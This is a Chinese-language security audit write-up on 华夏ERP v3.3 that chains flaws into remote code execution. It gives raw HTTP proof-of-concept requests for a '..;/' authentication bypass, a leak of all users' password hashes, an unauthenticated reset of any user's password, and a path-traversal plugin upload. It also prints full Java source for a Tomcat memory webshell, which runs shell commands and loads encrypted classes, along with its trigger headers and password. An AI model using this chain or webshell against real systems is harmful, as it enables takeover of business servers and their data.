华夏ERP_v3.3_RCE
华夏ERP_v3.3 审计记录
前置,未授权绕过
有个过滤器LogCostFilter
内容如下:
这段Filter其实是校验登录状态,登录了不阻止,没登陆走下面流程,其实它判断url
的时候使用的contains
包含xxx时,就可能存在绕过,比如:http://ip:prot/user/login/..;/..;/xxx/xxx ,这样其实可以直接进入到chain.doFilter
从而实现绕过。
从后面调试可以看到。
前台任意密码泄露漏洞
华夏erp
数据库中存储的密码是MD5加密的,所以只能获取到MD5加密的密码,不过问题不大,因为登录的时候传参也是MD5。废话不多说直接poc
:
GET /jshERP-boot/user/login/..;/..;/user/getAllList HTTP/1.1
Host:
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
这里其实就是用到了前面的绕过操作调试如下:
这样就借用了他白名单的路径实现了绕过。
这里就走到了/user/getAllList
路径下:
前台任意用户密码重置漏洞
有了前面的未授权绕过,那么可操作的范围就广了,比如源码中存在一个resetPwd
方法,很明显是重置密码的。
内容如下:
可以看到传入一个id
,然后没有任何校验就可以重置密码为123456
,这个id
在数据库中可以看到其实就是一个数字,那么可以通过爆破的方式,把所有密码全重置了。
那么也不难构造poc如下:
POST /jshERP-boot/user/login/..;/..;/user/resetPwd HTTP/1.1
Host: 127.0.0.1:9999
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 5
{"id":63}
后台RCE漏洞
漏洞分析
当我们拿到admin
用户的密码后,登录后台可以看到有个上传插件包的功能,像这种springboot
项目没法直接上传jsp
来rce
但是可以使用这种动态扩展的插件包来,插入一个恶意的内存马来实现RCE。
插件实现依赖:
https://gitee.com/xiongyi01/springboot-plugin-framework-parent
这种动态部署插件,就很可能存在问题,导致将恶意类注入到项目。
插件加载的目录可在配置文件中看到
但是系统默认不存在plugins
的文件夹,但是插件需要传入到这个文件夹下才能加载,所有需要想办法把这个文件夹创建出来。所有得找可能存在创建文件夹的点。一般在解压或者上传点上可能存在这种创建文件夹的操作,恰巧可以看到上传插件时的逻辑。路径如下:
1
install->uploadPluginAndStart->uploadPlugin->createExistFile->创建文件夹
可以很明显看到当路径不存在时会创建文件夹,同时path
可通过上传的文件名操作,因为没有过滤..
的操作。
先请求创建文件夹,poc
如下:
POST /jshERP-boot/plugin/uploadInstallPluginJar HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR18c5m1VIoSIwPqD
Origin: http://127.0.0.1:3000
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:3000/system/plugin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
X-Access-Token: 4c93f37385db47ad90b8e3ec95272c8b_0
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067893; HMACCOUNT=A70ECDA0ACDDDBF2; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067922
Content-Length: 672302
------WebKitFormBoundaryR18c5m1VIoSIwPqD
Content-Disposition: form-data; name="file"; filename="../plugins/shell.jar"
Content-Type: application/octet-stream
------WebKitFormBoundaryR18c5m1VIoSIwPqD--
原本是没有plugins
文件夹的.
发包再看,出现了plugins
文件夹。
接下来直接正常发上传包就行了,把filename
改成正常的。
POST /jshERP-boot/plugin/uploadInstallPluginJar HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR18c5m1VIoSIwPqD
Origin: http://127.0.0.1:3000
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:3000/system/plugin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
X-Access-Token: 4c93f37385db47ad90b8e3ec95272c8b_0
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067893; HMACCOUNT=A70ECDA0ACDDDBF2; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067922
Content-Length: 672302
------WebKitFormBoundaryR18c5m1VIoSIwPqD
Content-Disposition: form-data; name="file"; filename="shell.jar"
Content-Type: application/octet-stream
------WebKitFormBoundaryR18c5m1VIoSIwPqD--
插件制作
https://gitee.com/xiongyi01/springboot-plugin-framework-parent
直接按照项目自带的例子删掉没用的加上内存马就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
package com.basic.example.plugin1;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;
public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
static {
System.out.println("Listener loaded!"); //测试用
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
if (objectSet.size() == 0) {
// springboot的jmx中为Tomcat而非Catalina
objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}
for (NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
standardContext.addApplicationEventListener(listener);
}
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
try {
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field f = requestFacade.getClass().getDeclaredField("request");
f.setAccessible(true);
Request request = (Request) f.get(requestFacade);
Response response = request.getResponse();
// 入口
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.resetBuffer();
response.getWriter().println(result);
response.flushBuffer();
response.finishResponse();
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("google")) {
if (request.getMethod().equals("POST")) {
// 创建pageContext
HashMap pageContext = new HashMap();
// lastRequest的session是没有被包装的session!!
HttpSession session = request.getSession();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
// 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
String payload = request.getReader().readLine();
// System.out.println(payload);
// 冰蝎逻辑
String k = "efac9bf6b802b5b9"; // m@nb666
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} else {
response.resetBuffer();
response.getWriter().println("error");
response.flushBuffer();
response.finishResponse();
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
}
在DefinePlugin
的静态块里直接new
一个内存马即可,插件启动判断是否正确加载插件。
弄好后直接打包,先打包一下,不打包后面命令可能会报错少文件。
然后找到
运行后会生成dist
文件夹,里面的plugins
就是我们的恶意插件。
当加载后可以看到服务器端:
连接配置信息:
1
2
3
4
Referer: https://www.google.com/
x-client-data: google
pass: m@nb666
回显信息:
1
2
3
Referer: https://www.google.com/
x-client-data: cmd
cmd: whoami